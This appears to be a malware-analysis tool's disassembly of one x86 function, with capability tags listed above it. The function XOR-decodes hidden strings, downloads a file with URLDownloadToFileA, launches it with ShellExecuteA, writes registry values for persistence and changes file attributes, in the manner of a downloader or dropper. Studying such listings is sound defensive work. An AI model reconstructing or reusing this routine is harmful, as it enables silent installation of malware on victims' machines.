Function at 0x10076b40
Capabilities:
Check if file exists
Create process on windows
Download url
Encode data using xor
Receive data
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
mov eax, dword [0x100e41c4]
xor eax, esp
mov dword [esp + 0x460], eax
push ebx
push esi
push edi
push 0x104
push 0x10232c38
push 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x10232c38
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov edx, 0xda
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100d5544]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x10076b90
push 0x10232c38
lea eax, [esp + 0x1c]
mov byte [esp + 0x29], 0
push eax
push 0x10232c38
call fcn.1003a9e0
add esp, 0xc
lea ecx, [esp + 0x68]
call fcn.100018a0
push ecx
lea eax, [esp + 0x10]
push eax
push 0x3268023e
lea ecx, [esp + 0x24]
call fcn.1007efd0
push eax
lea ecx, [esp + 0x74]
call fcn.10001af0
cmp dword [esp + 0xc], 0x1db0db3
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
jne 0x10076c14
push 0x3268023e
lea ecx, [esp + 0x1c]
call fcn.1007efd0
push eax
call esi
test eax, eax
je 0x10076c14
xor al, al
jmp 0x10076c16
mov al, 1
test al, al
je 0x10076cb6
push 0x3268023e
lea ecx, [esp + 0x1c]
call fcn.1007efd0
push eax
call fcn.1009e0a0
add esp, 4
mov edx, 0x36
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.CLI]
xor al, dl
mov byte [esp + ecx + 0x28], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3e
jb 0x10076c40
push 0
push 0
push 0x3268023e
lea ecx, [esp + 0x24]
mov byte [esp + 0x72], 0
call fcn.1007efd0
push eax
lea eax, [esp + 0x34]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 5
push 0
push 0
push 0x10232c38
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x6e65706f
push eax
push 0
mov byte [esp + 0x2c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10086310
jmp dword [pe_dos_header]
push 0x104
push 0
push 0x10232c38
call fcn.10090bb0
add esp, 0xc
mov dword [esp + 0x10], 0x652e7325
lea eax, [esp + 0x10]
mov word [esp + 0x14], 0x6578
mov byte [esp + 0x16], 0
push 0x101e6cfa
push eax
push 0x10232c38
call fcn.1003a9e0
add esp, 0xc
push 0
push ecx
push 0
push 0x10077cc0
push ecx
call fcn.10087790
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x14
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0xbb8
call edi
mov byte [0x101e6e9d], 1
mov edx, 0x5e
mov dword [esp + 0xc], 1
xor ecx, ecx
mov al, byte [ecx + 0x100d55a0]
xor al, dl
mov byte [esp + ecx + 0x28], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1d
jb 0x10076d31
lea eax, [esp + 0x10]
mov byte [esp + 0x45], 0
push eax
lea eax, [esp + 0x2c]
push eax
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
movzx eax, byte [0x100d55c1]
xor al, 0x17
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], al
movzx eax, byte [0x100d55c2]
xor al, 0x18
mov byte [esp + 0x20], 0
mov byte [esp + 0x1a], al
movzx eax, byte [0x100d55c3]
xor al, 0x19
mov byte [esp + 0x1b], al
movzx eax, byte [0x100d55c4]
xor al, 0x1a
mov byte [esp + 0x1c], al
movzx eax, byte [0x100d55c5]
xor al, 0x1b
mov byte [esp + 0x1d], al
movzx eax, byte [0x100d55c6]
xor al, 0x1c
mov byte [esp + 0x1e], al
movzx eax, byte [0x100d55c7]
xor al, 0x1d
push 4
mov byte [esp + 0x23], al
lea eax, [esp + 0x10]
push eax
push 1
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xorps xmm0, xmm0
mov byte [esp + 0x20], 0
movq qword [esp + 0x18], xmm0
mov edx, 0xa0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100d55cc]
xor al, dl
mov byte [esp + ecx + 0x28], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x25
jb 0x10076e00
lea eax, [esp + 0x28]
mov byte [esp + 0x4d], 0
push eax
call esi
test eax, eax
je 0x10076e8a
mov edx, 0xa0
xor eax, eax
nop
mov cl, byte [eax + 0x100d55cc]
xor cl, dl
mov byte [esp + eax + 0x28], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x25
jb 0x10076e30
push 0xfffffffffffffffe
lea eax, [esp + 0x2c]
mov byte [esp + 0x51], 0
push eax
call ebx
mov edx, 0xa0
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100d55cc]
xor al, dl
mov byte [esp + ecx + 0x28], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x25
jb 0x10076e60
lea eax, [esp + 0x28]
mov byte [esp + 0x4d], 0
push eax
call fcn.1009e0a0
add esp, 4
mov byte [0x101e6e9d], 0
jmp 0x10076d14